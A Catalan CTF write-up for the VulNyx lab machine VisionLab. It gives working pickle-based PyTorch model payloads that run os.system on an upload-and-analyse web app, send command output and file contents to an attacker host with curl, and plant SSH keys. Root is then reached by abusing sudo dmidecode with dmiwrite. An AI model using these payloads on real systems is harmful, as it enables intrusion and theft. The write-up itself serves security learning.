Skip to content

WriteUp de VisionLab - VulNyx

Published:

VisionLab

A continuació es descriu el procés per vulnerar la màquina VisionLab de la plataforma VulNyx. Per resoldre-la només cal aplicar una tècnica d’intrusió i una altra d’escalada de privilegis. Tanmateix, totes dues són una mica laborioses, per la qual cosa la plataforma classifica la màquina com de dificultat mitjana. En aquest article aprendrem a crear un model maliciós de PyTorch per aconseguir una execució remota de codi (RCE) i a aprofitar una configuració insegura de sudo per executar dmidecode i obtenir accés com a root.

Taula de continguts

Obrir taula de continguts

Enumeració

Pantalla de VBox

Observem que a la màquina se li ha assignat la IP 192.168.1.173.

El primer pas en qualsevol CTF és reconèixer la superfície d’atac. Per fer-ho, fem un escaneig de ports contra la IP objectiu amb Nmap.

nmap -p- -Pn 192.168.1.173

Explicació de l’ordre:

Resultat: trobem dos ports oberts: el 22 (SSH), utilitzat per a l’accés remot, i el 8000 (HTTP), en el qual s’allotja un servei web.

A continuació, fem un escaneig més precís d’aquests ports per identificar les versions dels serveis i executar els scripts predeterminats de Nmap:

nmap -p22,8000 -sVC -Pn -n 192.168.1.173

Explicació de l’ordre:

L’escaneig retorna la informació següent sobre els serveis:

22/tcp   open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
8000/tcp open  http-alt uvicorn

Podríem continuar fent fuzzing sobre el servei web, però en aquest cas resulta més útil visitar l’aplicació i enumerar-la manualment.

Enumeració manual

VisionLab

Al web trobem una aplicació que utilitza intel·ligència artificial per detectar objectes en imatges. Podem adjuntar una imatge i, de manera opcional, un model personalitzat que s’utilitzarà durant l’anàlisi.

L’aplicació exigeix que el model tingui l’extensió .pt, corresponent als models de PyTorch, una coneguda biblioteca de Python per al desenvolupament de solucions d’intel·ligència artificial.

Si seleccionem una de les imatges de prova —o en pugem una des del nostre equip— i premem el botó «Analyze image», el model d’IA detectarà els objectes presents i els delimitarà mitjançant requadres.

Intrusió

L’aplicació permet pujar un model propi de PyTorch. Si la càrrega mitjançant la funció torch.load no es duu a terme de manera segura, podem intentar aconseguir una execució remota de codi.

Per comprovar si l’aplicació és vulnerable, podem enviar un model que contingui un payload maliciós.

Més informació sobre aquest tipus de vulnerabilitat: https://hacktricks.wiki/en/AI/AI-Models-RCE.html

Creem el payload següent a la nostra màquina atacant:

# payload1.py
import torch
import os

class MaliciousPayload:
    def __reduce__(self):
        # This code will be executed when unpickled (e.g., on model.load_state_dict)
        return (os.system, ("curl [ip atacante]:8000?$(id|base64)",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "payload1.pth")

En executar-lo, es genera el fitxer payload1.pth:

python3 payload1.py

Després, iniciem un servidor web a la màquina atacant per rebre la petició generada pel payload:

python3 -m http.server

Enviem el fitxer payload1.pth a l’aplicació. Al registre del servidor web rebem el resultat de l’ordre id, que confirma que el procés s’executa amb l’usuari vision.

Ara podem aprofitar el servei SSH per afegir la nostra clau pública al compte de l’usuari vision.

Si encara no disposem d’un parell de claus SSH a la màquina atacant, primer hem de generar una clau privada i una altra de pública.

Més informació: How to Use ssh-keygen to Generate a New SSH Key?.

# payload2.py
import torch
import os

class MaliciousPayload:
    def __reduce__(self):
        # This code will be executed when unpickled (e.g., on model.load_state_dict)
        return (os.system, ("mkdir -p /home/vision/.ssh && echo 'ssh-ed25519 AA.....HF email@domain.com' > /home/vision/.ssh/authorized_keys",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "payload2.pth")

En executar-lo, es genera el fitxer payload2.pth:

python3 payload2.py

Enviem el fitxer payload2.pth a l’aplicació.

Podem comprovar que la clau pública s’ha afegit correctament al fitxer authorized_keys de l’usuari mitjançant un altre payload:

# payload3.py
import torch
import os

class MaliciousPayload:
    def __reduce__(self):
        # This code will be executed when unpickled (e.g., on model.load_state_dict)
        return (os.system, ("curl [ip atacante]:8000?$(cat /home/vision/.ssh/authorized_keys|base64)",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "payload3.pth")

En executar-lo, es genera el fitxer payload3.pth:

python3 payload3.py

Enviem el fitxer payload3.pth a l’aplicació i podem observar com el contingut del fitxer authorized_keys, codificat en Base64, arriba al nostre servei web.

Una vegada afegida la clau, podem connectar-nos mitjançant SSH com l’usuari vision, utilitzant la nostra clau privada i sense necessitat de conèixer-ne la contrasenya:

ssh -i ~/.ssh/id_ed25519 vision@192.168.1.173

D’aquesta manera, obtenim una shell al servidor.

Escalada de privilegis

Per cercar possibles vies d’escalada de privilegis, comprovem quines ordres pot executar l’usuari vision mitjançant sudo:

vision@VisionLab:~$ sudo -l
Matching Defaults entries for vision on VisionLab:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User vision may run the following commands on VisionLab:
    (ALL) NOPASSWD: /usr/sbin/dmidecode

vision@VisionLab:~$ /usr/sbin/dmidecode -V
3.4

El resultat indica que podem executar dmidecode com a root sense proporcionar cap contrasenya. A més, la versió instal·lada és vulnerable, per la qual cosa podem aprofitar-la per fer una escriptura privilegiada de fitxers.

Més informació:

Observem que l’usuari root té permesa la connexió per SSH, però sense contrasenya.

vision@VisionLab:~$ cat /etc/ssh/sshd_config | grep PermitRootLogin
PermitRootLogin prohibit-password

Això ens permet accedir com a root si aconseguim crear un fitxer authorized_keys a la carpeta de configuració d’SSH de l’usuari root, tal com vam fer amb l’usuari vision.

Primer clonem el repositori https://github.com/adamreiser/dmiwrite i compilem l’eina a la nostra màquina atacant.

git clone https://github.com/adamreiser/dmiwrite
cd dmiwrite
make dmiwrite

Preparem un fitxer authorized_keys amb la nostra clau pública (podem utilitzar la creada anteriorment), però, en aquest cas, és important deixar unes línies davant i darrere de la clau. Això es deu al fet que, si deixem el fitxer en una sola línia, dmidecode escriu caràcters invisibles al davant, cosa que provoca que la clau quedi corrupta. En canvi, com que està en una altra línia, aquests caràcters no afectaran la nostra clau perquè aquesta serà a la línia següent.

$ cat authorized_keys
# Dejar espació aquí
ssh-ed25519 AAAAC3Nz...g+g5QnHF email@domain.com
# Dejar espació aquí

Utilitzem el fitxer authorized_keys per crear el fitxer .dmi amb dmiwrite i el compartim mitjançant un servei web per enviar-lo a la màquina víctima.

./dmiwrite authorized_keys authorized_keys.dmi
python3 -m http.server

Ara, des de la shell de l’usuari vision a la màquina víctima, descarreguem el fitxer authorized_keys.dmi a la carpeta /tmp mitjançant el servei web creat amb Python.

curl --output /tmp/authorized_keys.dmi http://[ip atacante]:8000/authorized_keys.dmi

Mitjançant sudo i dmidecode, intentem crear el fitxer authorized_keys de l’usuari root.

sudo /usr/sbin/dmidecode -d /tmp/authorized_keys.dmi --no-sysfs --dump-bin /root/.ssh/authorized_keys

Ara, tal com vam fer amb l’usuari vision, intentem accedir per SSH des de la nostra màquina atacant utilitzant la clau privada generada, però aquesta vegada amb l’usuari root.

ssh -i ~/.ssh/id_ed25519 root@192.168.1.173

Aconseguim accedir a la màquina víctima amb l’usuari de màxims privilegis sense conèixer cap contrasenya.

Ara podem llegir les dues flags de la màquina:

root@VisionLab:~# cat /home/vision/user-48Jj1Lw.txt
f************************0
root@VisionLab:~# cat /root/root.txt
1************************2
root@VisionLab:~#

I fins aquí arriba el nostre recorregut per VisionLab. Tant de bo t’enduguis alguna tècnica nova a la motxilla; si no, que almenys el camí fins a root hagi valgut la pena.